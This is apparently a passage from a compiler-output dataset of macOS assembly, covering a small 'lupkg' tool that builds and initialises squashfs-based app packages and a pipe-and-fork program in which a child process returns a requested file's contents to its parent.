adrp x8, l_.str.8@PAGE
add x8, x8, l_.str.8@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_11:
str wzr, [sp, #24]
b LBB0_12
LBB0_12: ; =>This Inner Loop Header: Depth=1
ldrsw x8, [sp, #24]
ldr x9, [sp, #32]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB0_15
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_12 Depth=1
ldrsw x9, [sp, #24]
adrp x8, __binary_header_start@GOTPAGE
ldr x8, [x8, __binary_header_start@GOTPAGEOFF]
ldrb w0, [x8, x9]
ldur x1, [x29, #-24]
bl _fputc
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_12 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_12
LBB0_15:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
adrp x1, l_.str.9@PAGE
add x1, x1, l_.str.9@PAGEOFF
bl _fopen
stur x0, [x29, #-32]
ldur x8, [x29, #-32]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_17
b LBB0_16
LBB0_16:
ldur x0, [x29, #-24]
bl _fclose
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.10@PAGE
add x8, x8, l_.str.10@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_17:
b LBB0_18
LBB0_18: ; =>This Inner Loop Header: Depth=1
ldur x0, [x29, #-32]
bl _fgetc
str w0, [sp, #28]
adds w8, w0, #1
cset w8, eq
tbnz w8, #0, LBB0_20
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_18 Depth=1
ldr w0, [sp, #28]
ldur x1, [x29, #-24]
bl _fputc
b LBB0_18
LBB0_20:
ldur x0, [x29, #-24]
bl _fclose
ldur x0, [x29, #-32]
bl _fclose
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
mov w1, #511
bl _chmod
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB0_22
b LBB0_21
LBB0_21:
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.11@PAGE
add x8, x8, l_.str.11@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_22:
mov w0, #0
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _lupkg_init ; -- Begin function lupkg_init
.p2align 2
_lupkg_init: ; @lupkg_init
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, __binary_app_run_end@GOTPAGE
ldr x8, [x8, __binary_app_run_end@GOTPAGEOFF]
adrp x9, __binary_app_run_start@GOTPAGE
ldr x9, [x9, __binary_app_run_start@GOTPAGEOFF]
subs x8, x8, x9
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur x1, [x29, #-16]
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
bl _opendir
ldr x8, [sp, #24] ; 8-byte Folded Reload
stur x0, [x29, #-24]
stur x8, [x29, #-32]
ldur x8, [x29, #-24]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
ldur x0, [x29, #-24]
bl _closedir
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.13@PAGE
add x8, x8, l_.str.13@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB1_2:
bl ___error
ldr w9, [x0]
mov w8, #2
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB1_6
b LBB1_3
LBB1_3:
adrp x0, l_.str.12@PAGE
add x0, x0, l_.str.12@PAGEOFF
mov w1, #511
bl _mkdir
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.14@PAGE
add x8, x8, l_.str.14@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB1_5:
b LBB1_6
LBB1_6:
b LBB1_7
LBB1_7:
adrp x0, l_.str.15@PAGE
add x0, x0, l_.str.15@PAGEOFF
adrp x1, l_.str.7@PAGE
add x1, x1, l_.str.7@PAGEOFF
bl _fopen
str x0, [sp, #40]
ldr x8, [sp, #40]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_9
b LBB1_8
LBB1_8:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.16@PAGE
add x8, x8, l_.str.16@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB1_9:
str wzr, [sp, #36]
b LBB1_10
LBB1_10: ; =>This Inner Loop Header: Depth=1
ldrsw x8, [sp, #36]
ldur x9, [x29, #-32]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB1_13
b LBB1_11
LBB1_11: ; in Loop: Header=BB1_10 Depth=1
ldrsw x9, [sp, #36]
adrp x8, __binary_app_run_start@GOTPAGE
ldr x8, [x8, __binary_app_run_start@GOTPAGEOFF]
ldrb w0, [x8, x9]
ldr x1, [sp, #40]
bl _fputc
b LBB1_12
LBB1_12: ; in Loop: Header=BB1_10 Depth=1
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB1_10
LBB1_13:
ldr x0, [sp, #40]
bl _fclose
adrp x0, l_.str.15@PAGE
add x0, x0, l_.str.15@PAGEOFF
mov w1, #511
bl _chmod
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB1_15
b LBB1_14
LBB1_14:
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.17@PAGE
add x8, x8, l_.str.17@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB1_15:
mov w0, #0
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
str x1, [sp, #16]
str wzr, [sp, #12]
ldur w8, [x29, #-8]
subs w8, w8, #2
cset w8, ge
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.18@PAGE
add x8, x8, l_.str.18@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB2_2:
ldr x8, [sp, #16]
ldr x0, [x8, #8]
adrp x1, l_.str.19@PAGE
add x1, x1, l_.str.19@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
ldur w0, [x29, #-8]
ldr x1, [sp, #16]
bl _lupkg_build
str w0, [sp, #12]
b LBB2_8
LBB2_4:
ldr x8, [sp, #16]
ldr x0, [x8, #8]
adrp x1, l_.str.20@PAGE
add x1, x1, l_.str.20@PAGEOFF
bl _strcmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5:
ldur w0, [x29, #-8]
ldr x1, [sp, #16]
bl _lupkg_init
str w0, [sp, #12]
b LBB2_7
LBB2_6:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.18@PAGE
add x8, x8, l_.str.18@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB2_7:
b LBB2_8
LBB2_8:
ldr x8, [sp, #16]
ldr x8, [x8, #8]
mov x9, sp
str x8, [x9]
adrp x0, l_.str.21@PAGE
add x0, x0, l_.str.21@PAGEOFF
bl _printf
ldr w0, [sp, #12]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "./build/"
l_.str.1: ; @.str.1
.asciz "./build/app.fs"
l_.str.2: ; @.str.2
.asciz "%s\n"
l_.str.3: ; @.str.3
.asciz "Could not create build directory!"
l_.str.4: ; @.str.4
.asciz "mksquashfs ./app/ ./build/app.fs > /dev/null"
l_.str.5: ; @.str.5
.asciz "Could not create app file system!"
l_.str.6: ; @.str.6
.asciz "./build/app.lupkg"
l_.str.7: ; @.str.7
.asciz "w"
l_.str.8: ; @.str.8
.asciz "Could not open package!"
l_.str.9: ; @.str.9
.asciz "r"
l_.str.10: ; @.str.10
.asciz "Could not open app file system!"
l_.str.11: ; @.str.11
.asciz "Could not make package executable!"
l_.str.12: ; @.str.12
.asciz "./app/"
l_.str.13: ; @.str.13
.asciz "The app directory already exists!"
l_.str.14: ; @.str.14
.asciz "Could not create app directory!"
l_.str.15: ; @.str.15
.asciz "./app/app_run"
l_.str.16: ; @.str.16
.asciz "Could not open app_run file!"
l_.str.17: ; @.str.17
.asciz "Could not make app_run executable!"
l_.str.18: ; @.str.18
.asciz "Usage: lupkg [build|init]"
l_.str.19: ; @.str.19
.asciz "build"
l_.str.20: ; @.str.20
.asciz "init"
l_.str.21: ; @.str.21
.asciz "%s complete!\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _lupkg_build ## -- Begin function lupkg_build
.p2align 4, 0x90
_lupkg_build: ## @lupkg_build
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
leaq L_.str(%rip), %rdi
callq _opendir$INODE64
movq %rax, -40(%rbp)
movq __binary_header_end@GOTPCREL(%rip), %rax
movq __binary_header_start@GOTPCREL(%rip), %rcx
subq %rcx, %rax
movq %rax, -48(%rbp)
cmpq $0, -40(%rbp)
je LBB0_2
## %bb.1:
movq -40(%rbp), %rdi
callq _closedir
leaq L_.str.1(%rip), %rdi
callq _unlink
jmp LBB0_7
LBB0_2:
callq ___error
movq %rax, %rcx
movl $2, %eax
cmpl (%rcx), %eax
jne LBB0_6
## %bb.3:
leaq L_.str(%rip), %rdi
movl $511, %esi ## imm = 0x1FF
callq _mkdir
cmpl $0, %eax
je LBB0_5
## %bb.4:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.3(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_5:
jmp LBB0_6
LBB0_6:
jmp LBB0_7
LBB0_7:
leaq L_.str.4(%rip), %rdi
callq _system
cmpl $0, %eax
je LBB0_9
## %bb.8:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.5(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_9:
leaq L_.str.6(%rip), %rdi
leaq L_.str.7(%rip), %rsi
callq _fopen
movq %rax, -24(%rbp)
cmpq $0, -24(%rbp)
jne LBB0_11
## %bb.10:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.8(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_11:
movl $0, -56(%rbp)
LBB0_12: ## =>This Inner Loop Header: Depth=1
movslq -56(%rbp), %rax
cmpq -48(%rbp), %rax
jae LBB0_15
## %bb.13: ## in Loop: Header=BB0_12 Depth=1
movslq -56(%rbp), %rcx
movq __binary_header_start@GOTPCREL(%rip), %rax
movzbl (%rax,%rcx), %edi
movq -24(%rbp), %rsi
callq _fputc
## %bb.14: ## in Loop: Header=BB0_12 Depth=1
movl -56(%rbp), %eax
addl $1, %eax
movl %eax, -56(%rbp)
jmp LBB0_12
LBB0_15:
leaq L_.str.1(%rip), %rdi
leaq L_.str.9(%rip), %rsi
callq _fopen
movq %rax, -32(%rbp)
cmpq $0, -32(%rbp)
jne LBB0_17
## %bb.16:
movq -24(%rbp), %rdi
callq _fclose
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.10(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_17:
jmp LBB0_18
LBB0_18: ## =>This Inner Loop Header: Depth=1
movq -32(%rbp), %rdi
callq _fgetc
movl %eax, -52(%rbp)
cmpl $-1, %eax
je LBB0_20
## %bb.19: ## in Loop: Header=BB0_18 Depth=1
movl -52(%rbp), %edi
movq -24(%rbp), %rsi
callq _fputc
jmp LBB0_18
LBB0_20:
movq -24(%rbp), %rdi
callq _fclose
movq -32(%rbp), %rdi
callq _fclose
leaq L_.str.6(%rip), %rdi
movl $511, %esi ## imm = 0x1FF
callq _chmod
cmpl $0, %eax
je LBB0_22
## %bb.21:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.11(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB0_22:
xorl %eax, %eax
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _lupkg_init ## -- Begin function lupkg_init
.p2align 4, 0x90
_lupkg_init: ## @lupkg_init
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl %edi, -4(%rbp)
movq %rsi, -16(%rbp)
leaq L_.str.12(%rip), %rdi
callq _opendir$INODE64
movq %rax, -24(%rbp)
movq __binary_app_run_end@GOTPCREL(%rip), %rax
movq __binary_app_run_start@GOTPCREL(%rip), %rcx
subq %rcx, %rax
movq %rax, -32(%rbp)
cmpq $0, -24(%rbp)
je LBB1_2
## %bb.1:
movq -24(%rbp), %rdi
callq _closedir
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.13(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB1_2:
callq ___error
movq %rax, %rcx
movl $2, %eax
cmpl (%rcx), %eax
jne LBB1_6
## %bb.3:
leaq L_.str.12(%rip), %rdi
movl $511, %esi ## imm = 0x1FF
callq _mkdir
cmpl $0, %eax
je LBB1_5
## %bb.4:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.14(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB1_5:
jmp LBB1_6
LBB1_6:
jmp LBB1_7
LBB1_7:
leaq L_.str.15(%rip), %rdi
leaq L_.str.7(%rip), %rsi
callq _fopen
movq %rax, -40(%rbp)
cmpq $0, -40(%rbp)
jne LBB1_9
## %bb.8:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.16(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB1_9:
movl $0, -44(%rbp)
LBB1_10: ## =>This Inner Loop Header: Depth=1
movslq -44(%rbp), %rax
cmpq -32(%rbp), %rax
jae LBB1_13
## %bb.11: ## in Loop: Header=BB1_10 Depth=1
movslq -44(%rbp), %rcx
movq __binary_app_run_start@GOTPCREL(%rip), %rax
movzbl (%rax,%rcx), %edi
movq -40(%rbp), %rsi
callq _fputc
## %bb.12: ## in Loop: Header=BB1_10 Depth=1
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB1_10
LBB1_13:
movq -40(%rbp), %rdi
callq _fclose
leaq L_.str.15(%rip), %rdi
movl $511, %esi ## imm = 0x1FF
callq _chmod
cmpl $0, %eax
je LBB1_15
## %bb.14:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.17(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB1_15:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -20(%rbp)
cmpl $2, -8(%rbp)
jge LBB2_2
## %bb.1:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.18(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB2_2:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
leaq L_.str.19(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB2_4
## %bb.3:
movl -8(%rbp), %edi
movq -16(%rbp), %rsi
callq _lupkg_build
movl %eax, -20(%rbp)
jmp LBB2_8
LBB2_4:
movq -16(%rbp), %rax
movq 8(%rax), %rdi
leaq L_.str.20(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB2_6
## %bb.5:
movl -8(%rbp), %edi
movq -16(%rbp), %rsi
callq _lupkg_init
movl %eax, -20(%rbp)
jmp LBB2_7
LBB2_6:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.2(%rip), %rsi
leaq L_.str.18(%rip), %rdx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB2_7:
jmp LBB2_8
LBB2_8:
movq -16(%rbp), %rax
movq 8(%rax), %rsi
leaq L_.str.21(%rip), %rdi
movb $0, %al
callq _printf
movl -20(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "./build/"
L_.str.1: ## @.str.1
.asciz "./build/app.fs"
L_.str.2: ## @.str.2
.asciz "%s\n"
L_.str.3: ## @.str.3
.asciz "Could not create build directory!"
L_.str.4: ## @.str.4
.asciz "mksquashfs ./app/ ./build/app.fs > /dev/null"
L_.str.5: ## @.str.5
.asciz "Could not create app file system!"
L_.str.6: ## @.str.6
.asciz "./build/app.lupkg"
L_.str.7: ## @.str.7
.asciz "w"
L_.str.8: ## @.str.8
.asciz "Could not open package!"
L_.str.9: ## @.str.9
.asciz "r"
L_.str.10: ## @.str.10
.asciz "Could not open app file system!"
L_.str.11: ## @.str.11
.asciz "Could not make package executable!"
L_.str.12: ## @.str.12
.asciz "./app/"
L_.str.13: ## @.str.13
.asciz "The app directory already exists!"
L_.str.14: ## @.str.14
.asciz "Could not create app directory!"
L_.str.15: ## @.str.15
.asciz "./app/app_run"
L_.str.16: ## @.str.16
.asciz "Could not open app_run file!"
L_.str.17: ## @.str.17
.asciz "Could not make app_run executable!"
L_.str.18: ## @.str.18
.asciz "Usage: lupkg [build|init]"
L_.str.19: ## @.str.19
.asciz "build"
L_.str.20: ## @.str.20
.asciz "init"
L_.str.21: ## @.str.21
.asciz "%s complete!\n"
.subsections_via_symbols
| the_stack_data/23574230.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-28]
str w0, [sp, #32]
str x1, [sp, #24]
sub x0, x29, #16
stur xzr, [x29, #-16]
sub x8, x29, #24
str x8, [sp, #8] ; 8-byte Folded Spill
stur xzr, [x29, #-24]
bl _pipe
ldr x0, [sp, #8] ; 8-byte Folded Reload
bl _pipe
bl _fork
str w0, [sp, #20]
ldr w8, [sp, #20]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.1@PAGE
add x8, x8, l_.str.1@PAGEOFF
str x8, [x9]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB0_2:
ldr w9, [sp, #20]
mov w8, #0
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldur w0, [x29, #-12]
bl _close
ldur w0, [x29, #-24]
bl _close
ldur w0, [x29, #-16]
ldur w1, [x29, #-20]
bl __server
mov w0, #0
bl _exit
LBB0_4:
b LBB0_5
LBB0_5:
ldur w0, [x29, #-16]
bl _close
ldur w0, [x29, #-20]
bl _close
ldur w0, [x29, #-24]
ldur w1, [x29, #-12]
bl __client
ldr w0, [sp, #20]
mov x1, #0
mov w2, #0
bl _waitpid
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_7
b LBB0_6
LBB0_6:
bl ___stack_chk_fail
LBB0_7:
mov w0, #0
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function _server
__server: ; @_server
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
mov w9, #4160
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
sub sp, sp, #1, lsl #12 ; =4096
sub sp, sp, #64
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str w0, [sp, #48]
str w1, [sp, #44]
add x0, sp, #55
str x0, [sp, #16] ; 8-byte Folded Spill
mov x1, #4097
bl _bzero
ldr x1, [sp, #16] ; 8-byte Folded Reload
ldr w0, [sp, #48]
mov x2, #4096
bl _read
str x0, [sp, #32]
ldr x8, [sp, #32]
subs x8, x8, #0
cset w8, gt
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.4@PAGE
add x8, x8, l_.str.4@PAGEOFF
str x8, [x9]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fprintf
mov w0, #1
bl _exit
LBB1_2:
add x0, sp, #55
mov w1, #0
bl _open
str w0, [sp, #28]
ldr w8, [sp, #28]
subs w8, w8, #0
cset w8, ge
tbnz w8, #0, LBB1_4
b LBB1_3
LBB1_3:
bl ___error
ldr w0, [x0]
bl _strerror
mov x8, sp
str x0, [x8]
add x0, sp, #55
str x0, [sp, #8] ; 8-byte Folded Spill
mov x3, #4097
mov x1, x3
mov w2, #0
adrp x4, l_.str.5@PAGE
add x4, x4, l_.str.5@PAGEOFF
bl ___snprintf_chk
ldr x1, [sp, #8] ; 8-byte Folded Reload
; implicit-def: $x8
mov x8, x0
sxtw x8, w8
str x8, [sp, #32]
ldr w0, [sp, #44]
ldr x2, [sp, #32]
bl _write
mov w0, #1
bl _exit
LBB1_4:
b LBB1_5
LBB1_5: ; =>This Inner Loop Header: Depth=1
ldr w0, [sp, #28]
add x1, sp, #55
mov x2, #4097
bl _read
str x0, [sp, #32]
ldr x8, [sp, #32]
subs x8, x8, #0
cset w8, gt
tbnz w8, #0, LBB1_7
b LBB1_6
LBB1_6:
b LBB1_8
LBB1_7: ; in Loop: Header=BB1_5 Depth=1
ldr w0, [sp, #44]
ldr x2, [sp, #32]
add x1, sp, #55
bl _write
b LBB1_5
LBB1_8:
ldr w0, [sp, #28]
bl _close
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_10
b LBB1_9
LBB1_9:
bl ___stack_chk_fail
LBB1_10:
add sp, sp, #1, lsl #12 ; =4096
add sp, sp, #64
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x28, x27, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function _client
__client: ; @_client
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
mov w9, #4144
adrp x16, ___chkstk_darwin@GOTPAGE
ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF]
blr x16
sub sp, sp, #1, lsl #12 ; =4096
sub sp, sp, #48
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str w0, [sp, #36]
str w1, [sp, #32]
add x0, sp, #40
str x0, [sp, #8] ; 8-byte Folded Spill
mov x1, #4096
bl _bzero
str xzr, [sp, #24]
adrp x8, ___stdoutp@GOTPAGE
ldr x8, [x8, ___stdoutp@GOTPAGEOFF]
ldr x0, [x8]
mov x9, sp
adrp x8, l_.str.3@PAGE
add x8, x8, l_.str.3@PAGEOFF
str x8, [x9]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl _fprintf
ldr x0, [sp, #8] ; 8-byte Folded Reload
adrp x8, ___stdinp@GOTPAGE
ldr x8, [x8, ___stdinp@GOTPAGEOFF]
ldr x2, [x8]
mov w1, #4096
bl _fgets
ldr x0, [sp, #8] ; 8-byte Folded Reload
bl _strlen
ldr x8, [sp, #8] ; 8-byte Folded Reload
str x0, [sp, #24]
ldr x9, [sp, #24]
subs x9, x9, #1
ldrsb w9, [x8, x9]
mov w8, #10
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
ldr x8, [sp, #24]
subs x8, x8, #1
str x8, [sp, #24]
b LBB2_2
LBB2_2:
ldr w0, [sp, #32]
ldr x2, [sp, #24]
add x1, sp, #40
bl _write
str xzr, [sp, #16]
b LBB2_3
LBB2_3: ; =>This Inner Loop Header: Depth=1
ldr w0, [sp, #36]
add x1, sp, #40
mov x2, #4096
bl _read
str x0, [sp, #16]
ldr x8, [sp, #16]
subs x8, x8, #0
cset w8, gt
tbnz w8, #0, LBB2_5
b LBB2_4
LBB2_4:
b LBB2_6
LBB2_5: ; in Loop: Header=BB2_3 Depth=1
ldr x2, [sp, #16]
mov w0, #1
